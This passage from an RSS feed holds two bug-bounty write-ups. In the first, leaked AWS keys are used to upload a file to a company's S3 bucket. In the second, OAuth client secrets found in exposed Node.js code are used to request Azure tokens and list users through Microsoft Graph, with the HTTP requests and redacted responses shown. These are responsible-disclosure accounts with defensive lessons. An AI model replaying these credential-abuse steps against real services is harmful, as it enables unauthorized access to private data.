file:</p><pre>aws configure<br>AWS Access Key ID: A*****************Q<br>Secret Access Key: k****************u<br>Default region name: us-east-1<br>Default output format [None]:</pre><pre>aws s3 cp .\\********.txt s3://***********.com/********.txt</pre><p>Keys were valid, I managed to upload a test file to this bucket. So I was in. I just needed to write a report and submit it on the bug bounty platform they used and wait for bounty.</p><h3>Aftermatch</h3><p>In the meantime the company in which web site I found this bug stopped having a bug bounty program. Ooops.</p><p>I searched for some kind of security contact but with no immediate results. Then I decided to send them a message on Twitter.</p><p><strong>Me [31.08.2017]</strong></p><p>Hi, I found a vulnerability in your service … I was unaware that your bb program is paused. Direct me to someone that I should report it.</p><p><strong>The other side [31.08.2017]</strong></p><p>Hi Mateusz! Sorry for the delay. You can send an email to **************.com</p><p>The response time on Twitter was quick, but then.</p><p><strong>Me [17.09.2017]</strong></p><p>Hmm, I’ve sent an email about this issue to the email address above and got no response yet, please could you verify?</p><p><strong>The other side [17.09.2017]</strong></p><p>No worries Mateusz! Just a moment please while I verify that information.</p><p>Then I’ve shared with them my email address, and again some time passed.</p><p><strong>Me [4.10.2017]</strong></p><p>Hi, any news? I’ve sent that email a month ago and got no response whatsoever.</p><p><strong>They [5.10.2017]</strong></p><p>Hi Mateusz! I’m so sorry for the delayed response! … Although we don’t have an active bounty, we would like to send you some promo codes …</p><p>Kind of nice of them that they wished to give me some promo codes for their services. Unfortunately I was in no position to be able to use them due to let’s say geographical issues. I’ve asked for a letter of reference, just to have some sort of recognition, but no response again, so I dropped the topic.</p><h3>Lessons learned</h3><ul><li><strong>For myself </strong>— always dig deeper and spend more time exploring AWS access gained, which I did not do this time, my bad.</li><li><strong>Bug hunters</strong> — definitely add <strong>README.md</strong> to your dictionaries. There are more extensions (txt, adoc, rst …)</li><li><strong>Developers </strong>— check what files are in your app web root and should not be there.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12d6bb51e77f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finding hidden gems vol. 1: forging OAuth tokens using discovered client id and client secret]]></title>
            <link>https://medium.com/@mateusz.olejarka/finding-hidden-gems-vol-1-forging-oauth-tokens-using-discovered-client-id-and-client-secret-467f1cd21714?source=rss-4718bd335cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/467f1cd21714</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[tech]]></category>
            <dc:creator><![CDATA[Mateusz Olejarka]]></dc:creator>
            <pubDate>Mon, 23 Jul 2018 20:32:12 GMT</pubDate>
            <atom:updated>2018-07-25T16:38:24.115Z</atom:updated>
            <content:encoded><![CDATA[<p>I love sensitive <a href="https://cwe.mitre.org/data/definitions/200.html">information exposure</a> bugs. They are getting <a href="https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure">more attention</a> at last. Below a short story about leaked Node.js code and OAuth client id and client secret which I found in there.</p><h3>Recon</h3><p>One of my bug bounty recon tools discovered a <strong>package.json</strong> file which looked interesing. The <strong>package.json</strong> file is a description of a <a href="https://docs.npmjs.com/getting-started/using-a-package.json">Node.js module</a>. This particular one looked like below:</p><pre>{<br> &quot;name&quot;: &quot;[…redacted…]&quot;,<br> &quot;description&quot;: &quot;[…redacted…]&quot;,<br> &quot;version&quot;: &quot;[…redacted…]&quot;,<br> &quot;private&quot;: true,<br> […redacted…]<br> &quot;engines&quot;: {<br> &quot;node&quot;: &quot;&gt;=6.9.1&quot;<br> },<br> &quot;scripts&quot;: {<br> &quot;<strong>start&quot;: &quot;node server/[…redacted…].js&quot;</strong><br> }<br>}</pre><p>Setting <em>scripts </em>contained a path to some Node.js code to execute. I was curious what’s in that file, therefore I immediately downloaded the content. It was a huge file, containing Node.js code.</p><h3>OAuth</h3><p>I found there four variables which looked very promissing.</p><pre>const <strong>devClientId </strong>= &#39;11e7f9d3–9bbf-4a01-a23e-c9c58e3acb1d&#39;;<br>const <strong>prodClientId </strong>= &#39;a2ae2727-aa6a-4197–823e-40e6d4e503a7&#39;;<br>const <strong>devClientSecret </strong>= &#39;d[…redacted…]=&#39;;<br>const <strong>prodClientSecret </strong>= &#39;b[…redacted…]=&#39;;</pre><p><strong>Disclaimer</strong>: all values were replaced or redacted.</p><p>It ringed a distant bell related to one of the OAuth grant types — <a href="https://tools.ietf.org/html/rfc6749">the client credentials</a>. To quote the specs:</p><blockquote>Client credentials are used as an authorization grant<br>typically when the client is acting on its own behalf (the client is<br>also the resource owner) or is requesting access to protected<br>resources based on an authorization previously arranged with the<br>authorization server.</blockquote><p>From other recon results I knew that this company is built on top of Microsoft Azure therefore I searched for <a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols-oauth-client-creds">OAuth integration documentation</a>. Now I just wanted to check if <em>prodClientId </em>and <em>prodClientSecret </em>are still valid:</p><pre>POST /[redacted].onmicrosoft.com/oauth2/v2.0/token HTTP/1.1<br>Host: login.microsoftonline.com<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 190</pre><pre>client_id=a2ae2727-aa6a-4197–823e-40e6d4e503a7<br>&amp;scope=https%3A%2F%2Fgraph.microsoft.com%2F.default<br>&amp;client_secret=b[…redacted…]%3d<br>&amp;grant_type=client_credentials</pre><pre>HTTP/1.1 200 OK<br>[…]</pre><pre>{<br> “token_type”:”Bearer”,<br> “expires_in”:3600,<br> “ext_expires_in”:0,<br> “<strong>access_token</strong>”:”<strong>eyJ[…redacted…]</strong>”<br>}</pre><p>I got back a <a href="https://jwt.io/">JWT token</a> and just one thing left — to actually use it and try to get some data. I’ve selected an API call which returns users:</p><pre>GET /v1.0/users HTTP/1.0<br>Host: graph.microsoft.com<br>Authorization: Bearer <strong>eyJ[…redacted…]</strong></pre><pre>HTTP/1.1 200 OK<br>[…]<br>{<br> “id”:”c7f5a5bf-9ba7–4871–8f56-d7584eb95115&quot;,<br> “businessPhones”:[],”displayName”:”Stuart […redacted…]”,<br> “givenName”:”<strong>Stuart</strong>”,<br> “jobTitle”:null,<br> “mail”:”[…redacted…]”stuart[…redacted…]”,<br> “mobilePhone”:null,<br> “officeLocation”:null,<br> “preferredLanguage”:null,<br> “surname”:”[…redacted…]”,<br> “userPrincipalName”:”[…redacted…]<br>},<br>{<br> “id”:”bd80519d-81e1–4634–9519–4ad9328f3b1d”,<br> “businessPhones”:[],<br> “displayName”:”Ashley […redacted…],<br> “givenName”:”<strong>Ashley</strong>”,<br> “jobTitle”:null,”mail”:”a.[…redacted…],<br> “mobilePhone”:null,<br> “officeLocation”:”SLC”,<br> “preferredLanguage”:null,<br> “surname”:”[…redacted…]”,<br> “userPrincipalName”:”[…redacted…]”<br>}<br>[…]</pre><p><strong>It worked!</strong> This was found in a public program on Bugcrowd and they gave me <strong>3133.7$</strong> for this finding.</p><h3>Fix</h3><p>The company fixed it like below — now those variables are taken out of <a href="https://www.consul.io/intro/index.html">Consul</a>:</p><pre>class Consul {<br> constructor(url) {<br> this.consulHost = url;<br> }<br> <strong>getClientId</strong>() {<br> return this.getConsulValue(‘v1/[redacted]/CLIENT_ID’);<br> }<br> <strong>getClientSecret</strong>() {<br> return this.getConsulValue(‘v1/[redacted]/APP_KEY’);<br> }<br> getConsulValue(consulKey) {<br> return request({ url: `${this.consulHost}/${consulKey}`, json: true }).promise()<br> .then((res) =&gt; res[0].Value)<br> .then((val) =&gt; (new global.Buffer(val, ‘base64’)).toString(‘utf8’));<br> }<br>}<br>exports.Consul = Consul;</pre><p>Where <em>consulHost </em>in taken from an <a href="https://www.twilio.com/blog/2017/08/working-with-environment-variables-in-node-js.html">environmental variable</a>:</p><pre>const consulHost = process.env.CONSUL</pre><h3>Lessons learned:</h3><ul><li><strong>For myself</strong> — don’t give up, make a break, return to the problem next day and solve it easily.</li><li><strong>Bug hunters</strong> — definitely check for <strong>package.json</strong> files.</li><li><strong>Developers </strong>— check what is in your <strong>package.json</strong> file and make sure you don’t leak anything interesing.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=467f1cd21714" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>